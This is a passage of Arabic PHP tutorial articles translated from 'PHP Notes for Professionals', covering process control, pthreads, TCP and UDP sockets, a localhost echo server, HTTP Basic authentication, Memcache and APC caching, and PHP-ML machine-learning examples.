proc_close($process); } ?> تنفذ الدالة proc_open أوامر bash مع ‎$descriptor كمواصفات للواصف، ونستخدم بعدها is_resource للتحقق من صحة العملية، وعند الانتهاء يمكننا البدء بالتفاعل مع العملية الابن باستخدام ‎$pipes الذي يتولد تبعًا لمواصفات الواصف. بعد ذلك يمكننا استخدام fwrite للكتابة في مجرى الدخل القياسي للعملية الابن، وفي هذه الحالة يُتبع pwd بسطر إرجاع.، وأخيرًا نستخدم stream_get_contents للقراءة من مجرى الخرج القياسي للعملية الابن. تذكر دومًا إغلاق العملية الابن باستخدام الدالة proc_close()‎ التي ستنهي العملية الابن وتعيد شيفرة حالة الخروج. الإضافة متعددة الخيوط (Multi Threading) للبدء مع تعدد الخيوط تحتاج لتثبيت الإضافة pthreads ويمكنك القيام بذلك بكتابة: $ pecl install pthreads وإضافة المدخل إلى ملف php.ini. مثال بسيط باستخدام دلالات PHP7: <?php class MyThread extends Thread { /** * @var string * متغير يتضمن الرسالة التي ستُعرض */ private $message; public function __construct(string $message) { // ضبط قيمة الرسالة لهذا الكائن المحدد $this->message = $message; } // العمليات التي تؤدى في هذه الدالة تُنفَّذ في الخيط الآخر public function run() { echo $this->message; } } // ‫تهيئة الكائن MyThread $myThread = new MyThread("Hello from an another thread!"); // ابدأ الخيط، ومن الجيد أيضًا الانضمام إلى الخيط بشكلٍ صريح // ‫نستخدم Thread::start()‎ لتهيئة الخيط $myThread->start(); // ‫تسبب التعليمة Thread::join()‎ أن ينتظر السياق الخيط حتى انتهاء التنفيذ $myThread->join(); استخدام المجمعات (pools) والتوابع (workers) توفر التجميعات مستوى تجريدي أعلى لوظيفة التابع، بما في ذلك إدارة المراجع بالطريقة التي تطلبها pthreads (انظر هذه الصفحة). توفر المجمعات والتوابع مستوى تحكم أعلى وسهولة في إنشاء تعددية الخيوط. <?php // (1) class AwesomeWork extends Thread { private $workName; /** * @param string $workName * اسم العمل الذي سيُعطى لكل عمل */ public function __construct(string $workName) { // (2) $this->workName = $workName; printf("A new work was submitted with the name: %s\n", $workName); } public function run() { // (3) $workName = $this->workName; printf("Work named %s starting...\n", $workName); printf("New random number: %d\n", mt_rand()); } } // إنشاء عامل فارغ class AwesomeWorker extends Worker { public function run() { // (4) } } // (5) $pool = new \Pool(1, \AwesomeWorker::class); // (6) $pool->submit(new \AwesomeWork("DeadlyWork")); $pool->submit(new \AwesomeWork("FatalWork")); // (7) $pool->shutdown(); في الموضع (1) يوجد العمل الذي سيُنفَّذ من قِبل العامل، يحتاج هذا الصنف أن يرث الصنف ‎\Threaded أو ‎\Collectable أو ‎\Thread. في الموضع (2) كتلة الشيفرة في باني عملك والتي ستُنفَّذ عندما يُرسل عمل إلى مجمعك. في الموضع (3) ستُستدعى هذه الكتلة من الشيفرة من قِبل التابع، وستُنفَّذ كل شيفرة التابع في خيط آخر. في الموضع (4) يمكنك وضع بعض الشيفرة هنا والتي سينفذها العامل قبل بدء العمل. في الموضع (5) إنشاء كائن Pool جديد يقبل معاملين، الأول هو عدد العمال الأعظمي الذي يمكن إنشاؤه في المجمع، والثاني هو اسم صنف العامل. في الموضع (6) تحتاج إلى إرسال أعمالك بدلًا من نسخة الكائنات التي ترث الصنف ‎\Threaded. في الموضع (7) نحتاج إلى إيقاف المجمع بشكلٍ صريح وإلا قد يحصل شيء ما غير متوقع. ترجمة -وبتصرف- للفصول [Multiprocessing - Multi Threading Extension] من كتابPHP Notes for Professionals book
  17. مقبس عميل TCP إنشاء مقبس يستخدم TCP (‏Transmission Control Protocol) $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); تأكّد من أنّ المقبس (socket) أُنشئ بنجاح، تُستخدم الدالة onSocketFailure لمعالجة أخطاء المقبس، مثال: if(!is_resource($socket)) onSocketFailure("Failed to create socket"); اتصال المقبس بعنوان محدد يفشل السطر الثاني بأمان إذا فشل الاتصال: socket_connect($socket, "chat.stackoverflow.com", 6667) or onSocketFailure("Failed to connect to chat.stackoverflow.com:6667", $socket); إرسال بيانات إلى الخادم ترسل الدالة socket_write البايتات عبر مقبس، تُمثَّل مصفوفة البايت في PHP بسلسلة نصية والتي هي غير حساسة للترميز بشكلٍ طبيعي. socket_write($socket, "NICK Alice\r\nUSER alice 0 * :Alice\r\n"); إرسال بيانات من الخادم تستقبل الشيفرة التالية بعض البيانات من الخادم باستخدام الدالة socket_read، إنّ تمرير قيمة المعامل الثالث على أنّها PHP_NORMAL_READ يقرأ حتى البايت ‎\r/\n ويُضمَّن في القيمة المُعادة، أما تمريرها على أنّها PHP_BINARY_READ يقرأ الكمية المطلوبة من بيانات المجرى. تُعيد الدالة socket_read القيمة false مباشرةً إذا اُستدعيت الدالة socket_set_nonblock قبلها واُستخدمَت القيمة PHP_BINARY_READ، وإلا يُعطَّل التابع حتى تُستقبَل بيانات كافية (الوصول إلى الطول المحدد في المعامل الثاني أو الوصول إلى نهاية السطر) أو يُغلَق المقبس. يقرأ المثال التالي بيانات من خادم IRC (‏Internet Relay Chat) بشكلٍ افتراضي: while(true) { // قراءة سطر من المقبس $line = socket_read($socket, 1024, PHP_NORMAL_READ); if(substr($line, -1) === "\r") { // (1) socket_read($socket, 1, PHP_BINARY_READ); } $message = parseLine($line); if($message->type === "QUIT") break; } يُقرأ في الموضع (1) بايت واحد من المقبس أو يتم تجاوزه، نفرض أنّ البايت التالي في المجرى يجب أن يكون ‎\n‎ ويعدّ هذا ممارسة سيئة ويجعل السكربت ضعيفًا ومعرّضًا لقيم غير متوقعة. إغلاق المقبس يؤدي إغلاق المقبس إلى تحريره وتحرير الموارد المرتبطة به. socket_close($socket); مقبس خادم TCP إنشاء المقبس إنشاء مقبس يستخدم TCP نفس طريقة إنشاء مقبس عميل. $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); ربط المقبس يكون اتصال الربط من شبكة ما (المعامل 2) إلى منفذ معين للمقبس (المعامل 3)، المعامل الثاني عادةً هو "0.0.0.0" والذي يقبل الاتصال من كل الشبكات. أحد أشهر الأسباب التي تؤدي إلى حدوث خطأ نتيجة التابع socket_bind هو أن يكون العنوان المحدد مقيد مسبقًا بعملية أخرى. تُنهى عادةً العمليات الأخرى يدويًا (لمنع إنهاء العمليات الحرجة دون قصد) لذا تُحرَّر المقابس. socket_bind($socket, "0.0.0.0", 6667) or onSocketFailure("Failed to bind to 0.0.0.0:6667"); ضبط المقبس للاستماع نستخدم التابع socket_listen لجعل المقبس يستمع إلى الاتصالات الواردة، يعبر المعامل الثاني عن عدد الاتصالات الأعظمي المسموح لها أن تكون في قائمة الانتظار قبل قبولها. socket_listen($socket, 5); معالجة الاتصال خادم TCP هو خادم يعالج الاتصالات الأبناء، يُنشئ التابع socket_accept اتصال ابن جديد. $conn = socket_accept($socket); نقل بيانات الاتصال من التابع socket_accept هو نفسه في مقبس عميل TCP. يمكنك استدعاء التابع socket_close($conn);‎ مباشرةً عندما تريد إغلاق الاتصال، ولا يؤثر هذا على مقبس خادم TCP الأصلي. إغلاق الخادم يجب استدعاء التابع socket_close($socket);‎ عند الانتهاء من استخدام الخادم، مما سيؤدي إلى تحرير عنوان TCP وبالتالي يُسمح لعمليات أخرى بالربط معه. مقبس خادم UDP خادم UDP (‏user datagram protocol) لا يعتمد على المجرى بل على الرزمة (packet-based) على عكس TCP، مثلًا عميل يرسل بيانات في وحدات تدعى رزم (packets) إلى الخادم ويعرف العميل العملاء من خلال عناوينهم، لا يوجد دالة مضمَّنة تربط الرزم المختلفة المُرسلة من نفس العميل (على عكس TCP حيث تُعالج البيانات المُرسلة من نفس العميل بمورد محدد ينشأه التابع socket_accept)، يمكننا التفكير أنّه عند كل وصول لرزمة UDP فإنّ اتصال TCP جديد يُقبَل ويُغلق. إنشاء مقبس خادم UDP $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); ربط المقبس إلى عنوان نفس المعاملات الموجودة لخادم TCP. socket_bind($socket, "0.0.0.0", 9000) or onSocketFailure("Failed to bind to 0.0.0.0:9000",$socket); إرسال رزمة ترسل الشيفرة التالية المتغير ‎$data في رزمة UDP إلى ‎$address:$port. socket_sendto($socket, $data, strlen($data), 0, $address, $port); استقبال رزمة تحاول الشيفرة التالية إدارة رزم UDP بطريقة تعتمد على فهرسة العميل. $clients = []; while (true){ socket_recvfrom($socket, $buffer, 32768, 0, $ip, $port) === true or onSocketFailure("Failed to receive packet", $socket); $address = "$ip:$port"; if (!isset($clients[$address])) $clients[$address] = new Client(); $clients[$address]->handlePacket($buffer); } إغلاق الخادم يمكن استخدام التابع socket_close على مورد مقبس خادم UDP. سيحرر هذا عنوان UDP مما يسمح بربط العمليات الأخرى إلى هذا العنوان. معالجة أخطاء المقبس نستخدم التابع socket_last_error للحصول على رقم معرِّف الخطأ الأخير من إضافة المقابس، ونستخدم التابع socket_strerror لتحويل هذا الرقم إلى سلسلة نصيّة قابلة للقراءة من قِبل الإنسان. function onSocketFailure(string $message, $socket = null) { if(is_resource($socket)) { $message .= ": " . socket_strerror(socket_last_error($socket)); } die($message); } مقابس الويب (Webscockets) ينفّذ استخدام إضافة المقبس (socket) واجهة منخفضة المستوى لدوال اتصال المقبس بالاعتماد على مقابس BSD (‏Berkeley Software Distribution) الشائعة، مما يوفر إمكانية العمل كخادم مقبس وعميل. خادم TCP/IP بسيط يمكنك أن تجد هنا مثالًا بسيطًا يعتمد على توثيق PHP الرسمي. أنشئ سكربت مقبس ويب يستمع إلى المنفذ 5000 باستخدام putty والطرفية لتنفيذ الأمر telnet 127.0.0.1 5000 (المضيف المحلي)، يرد هذا السكربت بالرسالة التي أرسلتها (كتعقب عكسي): <?php // تعطيل المهلة set_time_limit(0); // تعطيل التخزين المؤقت للخرج ob_implicit_flush(); // الإعدادات $address = '127.0.0.1'; $port = 5000; // (1) if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "Couldn't create socket".socket_strerror(socket_last_error())."\n"; } // (2) if (socket_bind($socket, $address, $port) === false) { echo "Bind Error ".socket_strerror(socket_last_error($sock)) ."\n"; } if (socket_listen($socket, 5) === false) { echo "Listen Failed ".socket_strerror(socket_last_error($socket)) . "\n"; } do { if (($msgsock = socket_accept($socket)) === false) { echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n"; break; } /* إرسال رسالة ترحيب */ $msg = "\nPHP Websocket \n"; // الاستماع إلى دخل المستخدم do { if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) { echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n"; break 2; } if (!$buf = trim($buf)) { continue; } // الرد على المستخدم برسالته $talkback = "PHP: You said '$buf'.\n"; socket_write($msgsock, $talkback, strlen($talkback)); // طباعة الرسالة على الطرفية echo "$buf\n"; } while (true); socket_close($msgsock); } while (true); socket_close($socket); ?> في الموضع (1) لدينا الدالة socket_create لها الشكل العام ( int $domain , int $type , int $protocol ): يمكن أن يكون المتغير ‎$domain هو AF_INET أو AF_INET6 من أجل IPV6 أو AF_UNIX من أجل بروتوكول الاتصال المحلي. يمكن أن يكون المتغير ‎$protocol إما SOL_TCP أو SOL_UDP ‏(TCP/UDP) تعيد هذه الدالة القيمة true في حالة النجاح. في الموضع (2) نستخدم الدالة socket_bind التي لها الشكل العام ‎socket_bind ( resource $socket , string $address [, int $port = 0 ] )‎، تربط هذه الدالة المقبس ليستمع إلى عنوان ومنفذ محددين. استيثاق HTTP سنكتب سكربت استيثاق ترويسة HTTP بسيط، ولاحظ أنّه يجب وضع هذه الشيفرة في ترويسة الصفحة وإلا لن يعمل: <?php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); echo 'Text to send if user hits Cancel button'; exit; } echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>"; // حفظ المعلومات $user = $_SERVER['PHP_AUTH_USER']; echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>"; // ‫حفظ كلمة المرور (يمكن إضافة التشفير اختياريًا) $pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)! ?> // ‫صفحة html ترجمة -وبتصرف- للفصول [ WebSockets - HTTP Authentication - Sockets] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: إضافة PHP MySQLi ونظام إدارة قواعد البيانات SQLite3 المقال السابق: معالجة بيانات طلبيات HTTP والتعامل مع أخطاء رفع الملفات في PHP
  18. التخزين المؤقت باستخدام memcache Memcache هو نظام تخزين مؤقت للأغراض الموزعة يستخدم الزوج قيمة-مفتاح لتخزين البيانات الصغيرة، تحتاج أن تتأكد من أنّ Memcache مثبّتة قبل أن تستدعي شيفرتها في PHP، يمكنك القيام بذلك باستخدام تابع class_exists في PHP. بعد أن تتأكد من أنّها مثبّتة يمكنك الاتصال بنسخة خادم memcache. if (class_exists('Memcache')) { $cache = new Memcache(); $cache->connect('localhost',11211); }else { print "Not connected to cache server"; } ستتحقق هذه الشيفرة من أنّ محركات PHP للذاكرة Memcache مثبتة وتتصل إلى نسخة خادم memcache المُنفَّذ على الخادم المحلي. تعمل Memcache بشكلٍ خفي وتدعى memcached. اتصلنا في المثال السابق إلى خادم واحد لكن يمكننا أيضًا الاتصال بعدة خوادم باستخدام الشيفرة: if (class_exists('Memcache')) { $cache = new Memcache(); $cache->addServer('192.168.0.100',11211); $cache->addServer('192.168.0.101',11211); } لاحظ أنّه في هذه الحالة لن يكون هناك أي اتصال نشط حتى تحاول تخزين قيمة أو جلبها، يوجد ثلاث عمليات أساسية التي نحتاج إلى تنفيذها في التخزين المؤقت: تخزين البيانات: إضافة بيانات جديدة إلى خادم memcached. الحصول على البيانات: جلب البيانات من خادم memcached. حذف البيانات: حذف بيانات موجودة سابقًا على خادم memcached. تخزين البيانات يملك كائن الصنف memcached أو ‎$cache التابع set الذي يأخذ المعاملات (المفتاح والقيمة والوقت) لحفظ قيمة من أجل زمن الحياة (ttl). $cache->set($key, $value, 0, $ttl); ‎$ttl أو زمن الحياة هنا مقدرًا بالثانية هو الزمن الذي تحتاجه memcache لتخزين الزوج على الخادم. الحصول على البيانات يملك كائن الصنف memcached أو ‎$cache التابع get الذي يأخذ مفتاح ويعيد القيمة المقابلة. $value = $cache->get($key); إذا لم توجد قيمة مقابلة للمفتاح ستُرجع القيمة null. حذف البيانات قد تحتاج أحيانًا إلى حذف بعض القيم من الذاكرة المخبئية، يملك كائن الصنف memcached أو ‎$cache التابع delete الذي يُستخدم لهذا الغرض: $cache->delete($key); سيناريو بسيط للتخزين المؤقت بفرض لدينا مدونة بسيطة، ستوجد عدة منشورات في صفحة الهبوط تُجلب من قاعدة البيانات عند كل تحميل للصفحة، يمكننا استخدام memcached لتخزين المنشورات وذلك لتقليل استعلامات sql، إليك تنفيذ بسيط لذلك: if (class_exists('Memcache')) { $cache = new Memcache(); $cache->connect('localhost',11211); if(($data = $cache->get('posts')) != null) { // الحصول على البيانات من ذاكرة التخزين المؤقت } else { // فُقدت ذاكرة التخزين المؤقت، الاستعلام من قاعدة البيانات وحفظ النتائج إلى القاعدة // ‫بفرض ‎$posts مصفوفة المنشورات المُستعادة من قاعدة البيانات $cache->set('posts', $posts,0,$ttl); } }else { die("Error while connecting to cache server"); } التخزين المؤقت باستخدام APC ذاكرة التخزين المؤقت البديلة في PHP (‏APC) مجانية وشيفرة تشغيل مفتوحة لذاكرة التخزين المؤقت في PHP، هدفها توفير إطار عمل مجاني ومفتوح وقوي لذاكرة التخزين المؤقت وتحسين شيفرة PHP الوسيطة. طريقة التثبيت: sudo apt-get install php-apc sudo /etc/init.d/apache2 restart إضافة ذاكرة التخزين المؤقت: apc_add ($key, $value , $ttl); $key = unique cache key $value = cache value $ttl = Time To Live; حذف ذاكرة التخزين المؤقت: apc_delete($key); مثال عن ضبط الذاكرة المخبئية: if (apc_exists($key)) { echo "Key exists: "; echo apc_fetch($key); } else { echo "Key does not exist"; apc_add ($key, $value , $ttl); } الأداء: APC أسرع من Memcached ب ‏5‏ مرات تقريبًا. مقابس الويب (Webscockets) ينفّذ استخدام إضافة المقبس (socket) واجهة منخفضة المستوى لدوال اتصال المقبس بالاعتماد على مقابس BSD (‏Berkeley Software Distribution) الشائعة، مما يوفر إمكانية العمل كخادم مقبس وعميل. خادم TCP/IP بسيط يمكنك أن تجد هنا مثالًا بسيطًا يعتمد على توثيق PHP الرسمي. أنشئ سكربت مقبس ويب يستمع إلى المنفذ 5000 باستخدام putty والطرفية لتنفيذ الأمر telnet 127.0.0.1 5000 (المضيف المحلي)، يرد هذا السكربت بالرسالة التي أرسلتها (كتعقب عكسي): <?php // تعطيل المهلة set_time_limit(0); // تعطيل التخزين المؤقت للخرج ob_implicit_flush(); // الإعدادات $address = '127.0.0.1'; $port = 5000; // (1) if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "Couldn't create socket".socket_strerror(socket_last_error())."\n"; } // (2) if (socket_bind($socket, $address, $port) === false) { echo "Bind Error ".socket_strerror(socket_last_error($sock)) ."\n"; } if (socket_listen($socket, 5) === false) { echo "Listen Failed ".socket_strerror(socket_last_error($socket)) . "\n"; } do { if (($msgsock = socket_accept($socket)) === false) { echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n"; break; } /* إرسال رسالة ترحيب */ $msg = "\nPHP Websocket \n"; // الاستماع إلى دخل المستخدم do { if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) { echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n"; break 2; } if (!$buf = trim($buf)) { continue; } // الرد على المستخدم برسالته $talkback = "PHP: You said '$buf'.\n"; socket_write($msgsock, $talkback, strlen($talkback)); // طباعة الرسالة على الطرفية echo "$buf\n"; } while (true); socket_close($msgsock); } while (true); socket_close($socket); ?> في الموضع (1) لدينا الدالة socket_create لها الشكل العام ( int $domain , int $type , int $protocol ): يمكن أن يكون المتغير ‎$domain هو AF_INET أو AF_INET6 من أجل IPV6 أو AF_UNIX من أجل بروتوكول الاتصال المحلي. يمكن أن يكون المتغير ‎$protocol إما SOL_TCP أو SOL_UDP ‏(TCP/UDP) تعيد هذه الدالة القيمة true في حالة النجاح. في الموضع (2) نستخدم الدالة socket_bind التي تربط هذه الدالة المقبس ليستمع إلى عنوان ومنفذ محددين ولها الشكل العام: ‎socket_bind ( resource $socket , string $address [, int $port = 0 ] )‎ استيثاق HTTP سنكتب سكربت استيثاق ترويسة HTTP بسيط، ولاحظ أنّه يجب وضع هذه الشيفرة في ترويسة الصفحة وإلا لن يعمل: <?php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); echo 'Text to send if user hits Cancel button'; exit; } echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>"; // حفظ المعلومات $user = $_SERVER['PHP_AUTH_USER']; echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>"; // ‫حفظ كلمة المرور (يمكن إضافة التشفير اختياريًا) $pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)! ?> // ‫صفحة html ترجمة -وبتصرف- للفصول [Cache - WebSockets - HTTP Authentication] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: تمهيد لعمليتي التحميل والتنزيل التلقائي في PHP المقال السابق: مدخل إلى تعلم الآلة (Machine learning) في PHP
  19. التصنيف باستخدام مكتبة PHP-ML التصنيف في تعلم الآلة هو المشكلة التي تحدد مجموعة الفئات التي تنتمي إليها الملاحظة الجديدة، يندرج التصنيف تحت فئة تعلم الآلة المُشرَف عليه (Supervised Machine Learning)، تُعرَف أي خوارزمية تنفذ التصنيف بأنها مصنِّفة (classifier). المصنِّفات المدعومة في PHP-ML هي: SVC تصنيف دعم الشعاع (Support Vector Classification). أقرب k جار (k-Nearest Neighbors). مصنِّف بايز البسيط (Naive Bayes). إنّ التوابع train وpredict هي نفسها لكل المصنِّفات (classifiers)، الفرق الوحيد في الخوارزمية الأساسية المستخدمة. SVC تصنيف دعم الشعاع (Support Vector Classification) نحتاج إلى تدريب المصنِّف قبل أن نبدأ بالتنبؤ بملاحظة جديدة، بفرض لدينا الشيفرة التالية: // استيراد المكتبة use Phpml\Classification\SVC; use Phpml\SupportVectorMachine\Kernel; // بيانات تدريب المصنِّف // عينات التدريب $samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; $labels = ['a', 'a', 'a', 'b', 'b', 'b']; // تهيئة المصنِّف $classifier = new SVC(Kernel::LINEAR, $cost = 1000); // تدريب المصنِّف $classifier->train($samples, $labels); المتغير ‎$cost المُستخدم في الشيفرة السابقة هو مقياس لمقدار التصنيف الخاطئ الذي نريد تجنبه في كل مثال تدريبي، قد تحصل على أمثلة ذات تصنيف خاطئ من أجل قيم أقل للمتغير ‎$cost، يُضبَط افتراضيًا للقيمة 1.0. يمكننا الآن البدء في بعض التنبؤات الحقيقية بعد أن أصبح لدينا المصنِّف مدرّبًا، بفرض لدينا الشيفرات التالية للتنبؤات: $classifier->predict([3, 2]); // 'b' $classifier->predict([[3, 2], [1, 5]]); // ['b', 'a'] يمكن أن يأخذ المصنِّف في هذه الحالة عينات غير مصنّفة ويتنبأ بتسمياتها، يمكن أن يأخذ التابع predict عينة مفردة أو مصفوفة من العينات. دورة الذكاء الاصطناعي احترف برمجة الذكاء الاصطناعي AI وتحليل البيانات وتعلم كافة المعلومات التي تحتاجها لبناء نماذج ذكاء اصطناعي متخصصة. اشترك الآن أقرب k جار (k-Nearest Neighbors) يأخذ المصنِّف في هذه الخوارزمية معاملَين ويمكن تهيئتهما كالتالي: $classifier = new KNearestNeighbors($neighbor_num=4); $classifier = new KNearestNeighbors($neighbor_num=3, new Minkowski($lambda=4)); المتغير ‎$neighbor_num هو عدد الجيران الأقرب للفحص بخوارزمية ⁩knn، أما المعامل الثاني فهو مقياس المسافة والذي يكون افتراضيًا Euclidean في الحالة الأولى. إليك مثال قصير عن كيفية استخدام المصنِّف: // بيانات التدريب $samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]]; $labels = ['a', 'a', 'a', 'b', 'b', 'b']; // تهيئة المصنِّف $classifier = new KNearestNeighbors(); // تدريب المصنِّف $classifier->train($samples, $labels); // التنبؤات $classifier->predict([3, 2]); // 'b' $classifier->predict([[3, 2], [1, 5]]); // ['b', 'a'] مصنِّف بايز البسيط (Naive Bayes) يعتمد مصنِّف بايز البسيط على نظرية بايز ولا يحتاج أي معاملات في الباني، توضّح الشيفرة التالية تنفيذًا لتنبؤ بسيط: // بيانات التدريب $samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]]; $labels = ['a', 'b', 'c']; // تهيئة المصنِّف $classifier = new NaiveBayes(); // تدريب المصنِّف $classifier->train($samples, $labels); // التنبؤات $classifier->predict([3, 1, 1]); // 'a' $classifier->predict([[3, 1, 1], [1, 4, 1]); // ['a', 'b'] حالة عمليّة استخدمنا حتى الآن مصفوفات من الأعداد الصحيحة في كل الحالات ولكن هذه الحالة غير موجودة في حياتنا الواقعية، لذا سنحاول وصف حل عملي لكيفية استخدام المصنِّفات⁡. بفرض لدينا تطبيق يخزّن خاصيّات الأزهار في الطبيعة، يمكننا أن نفرض للتبسيط لون الزهرة وطول البتلات ونستخدم هاتين الخاصيتين لتدريب البيانات، اللون هو الخاصيّة الأبسط إذ يمكننا إسناد قيمة صحيحة لكل لون ويمكن أن يكون عندك مجال للطول مثل ‎(0 mm,10 mm)=1‎، ‏‎(10 mm,20 mm)=2. درّب المصنِّف مع بيانات التهيئة، الآن إذا احتاج مستخدم ما لتحديد نوع الزهرة التي تنمو في حديقته الخلفية، عندها يختار لون الزهرة ويضيف طول البتلات ويُنفَّذ المصنِّف ويكشف نوع الزهرة. الانحدار (Regression) أسندنا باستخدام التصنيف مع مكتبة PHP-ML تسميات للملاحظة الجديدة، الانحدار هو نفسه تقريبًا إلا أنّ قيمة الخرج ليست اسم صنف بل قيمة مستمرة، يُستخدم بشكلٍ كبير للتنبؤات والتوقعات، تدعم مكتبة PHP-ML خوارزميات الانحدار التالية: انحدار دعم المتجه (Support Vector Regression). الانحدار الخطي ذو المربعات الأقل (Least Squares Linear Regression). يستخدم الانحدار نفس التوابع train وpredict المستخدمة في التصنيف. انحدار دعم المتجه (Support Vector Regression) هذه نسخة الانحدار من آلة دعم المتجه (‏SVM) (‏Support Vector Machine)، الخطوة الأولى مثل التصنيف هي تدريب النموذج: // استيراد المكتبة use Phpml\Regression\SVR; use Phpml\SupportVectorMachine\Kernel; // بيانات التدريب $samples = [[60], [61], [62], [63], [65]]; $targets = [3.1, 3.6, 3.8, 4, 4.1]; // تهيئة محرك الانحدار $regression = new SVR(Kernel::LINEAR); // تدريب محرك الانحدار $regression->train($samples, $targets); المتغير ‎$target في الانحدار ليس أسماء أصناف كما في التصنيف، هذا عامل للتفريق بين النوعين، يمكننا أن نبدأ بالتنبؤات الفعلية بعد تدريب نموذجنا. $regression->predict([64]) // 4.03 لاحظ أنّ التنبؤات ترجع قيمة من خارج مجال الهدف. الانحدار الخطي ذو المربعات الأقل (Least Squares Linear Regression) تستخدم هذه الخوارزمية طريقة المربعات الأقل للوصول إلى حل تقريبي، إليك شيفرة بسيطة للتدريب والتنبؤ: // بيانات التدريب $samples = [[60], [61], [62], [63], [65]]; $targets = [3.1, 3.6, 3.8, 4, 4.1]; // تهيئة محرك الانحدار $regression = new LeastSquares(); // تدريب محرك الانحدار $regression->train($samples, $targets); // التنبؤ باستخدام المحرك المدرَّب $regression->predict([64]); // 4.06 توفر أيضًا مكتبة PHP-ML خيار Multiple Linear Regression، إليك الشيفرة التالية كمثال: $samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001], [65940, 2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998], [15000, 2000]]; $targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400]; $regression = new LeastSquares(); $regression->train($samples, $targets); $regression->predict([60000, 1996]) // 4094.82 يعدّ الخيار Multiple Linear Regression مفيدًا بشكلٍ خاص عندما يوجد عدة عوامل أو سمات لتحديد الخرج. حالة عمليّة إليك مثالًا لتطبيق عملي للانحدار في الحياة الواقعية. بفرض لديك موقع إلكتروني مشهور حركة المرور فيه متغيرة باستمرار وتريد حلًا للتنبؤ بعدد الخوادم التي تحتاج إلى نشرها في وقت من الأوقات، وبفرض أن مزود الاستضافة يمنحك واجهة برمجة تطبيقات (api) لتعمل الخوادم وكل خادم يستغرق 15 دقيقة للتشغيل، بالاعتماد على حركة المرور السابقة والانحدار يمكنك توقع حركة المرور في تطبيقك في وقت ما. يمكنك باستخدام هذه المعرفة بدء خادم قبل 15 دقيقة من بدء تدفق حركة المرور مما يمنع تعطيل تطبيقك. العنقدة (Clustering) العنقدة هي تجميع الكائنات المتشابهة معًا، وتستخدم بشكل واسع للتعرف على الأنماط، تعد العنقدة من نوع تعلم الآلة غير المُشرف عليه لذا لا توجد حاجة للتدريب، تدعم مكتبة PHP-ML خوارزميات العنقدة التالية: k-Means dbscan خوارزمية k-Means تفصل هذه الخوارزمية البيانات إلى n مجموعة بتباين متساوٍ، أي أننا نحتاج إلى تمرير الرقم n الذي هو عدد العناقيد التي نحتاجها في الحل، إليك الشيفرة التالية للتوضيح: // مجموعة البيانات $samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]]; // ‫تهيئة العنقدة بالمعامل `n` $kmeans = new KMeans(3); $kmeans->cluster($samples); // [0=>[[7, 8]], 1=>[[8, 7]], 2=>[[1,1]]] لاحظ أنّ الخرج يحتوي 3 مصفوفات لأنّ هذه قيمة n في باني KMeans، يمكن أن يوجد معامل اختياري ثاني في الباني يصف طريقة التهيئة، مثال: $kmeans = new KMeans(4, KMeans::INIT_RANDOM); تحدد الطريقة INIT_RANDOM نقطة مركزية عشوائية أثناء محاولة تحديد العناقيد، تكون هذه النقطة محدودة بحدود فضاء البيانات لتجنب أن تكون هذه النقطة المركزية بعيدة جدًا عن البيانات. طريقة التهيئة الافتراضية للباني هي kmeans++‎ والتي تختار النقطة المركزية بطريقة ذكية لتسريع العملية. خوارزمية DBSCAN هي خوارزمية عنقدة تعتمد على الكثافة أي أننا لن نحتاج إلى تمرير n لتحديد عدد العناقيد التي نريدها في نتائجنا على عكس خوارزمية k-Means، إنما نحتاج إلى معاملين لتعمل: ‎$minSamples: أقل عدد كائنات يجب أن تكون موجودة في العنقود. ‎$epsilon: أقصى مسافة بين عينتين لنعدهما في نفس العنقود. مثال: // مجموعة بيانات العينة $samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]]; $dbscan = new DBSCAN($epsilon = 2, $minSamples = 3); $dbscan->cluster($samples); // [0=>[[1, 1]], 1=>[[8, 7]]] لا توجد طريقة هنا لمعرفة عدد عناصر الخرج كما في خوارزمية k-Means. حالة عمليّة لنأخذ مثالًا عن تطبيق عملي في الحياة الواقعية، تستخدم العنقدة بشكلٍ كبير في التعرف على الأنماط والتنقيب عن البيانات، بفرض لديك تطبيق نشر محتوى، لتحافظ على المستخدمين يجب أن يظهر لديهم المحتوى الذي يحبونه، لنفرض للتبسيط أنهم إذا كانوا في صفحة ويب معينة لأكثر من دقيقة ونزلوا فيها إلى الأسفل أي أنهم أحبوا هذا المحتوى. الآن سيكون لكل محتوى معرف فريد وكذلك لكل مستخدم، ونجعل عنقودًا يعتمد على هذه الخصائص وستتعرف على شريحة المستخدمين التي تحب محتوى مشابه لهذا المحتوى، يمكن استخدام هذا في نظام التوصيات ⁢حيث يمكنك فرض أنّه إذا كان لدينا بعض 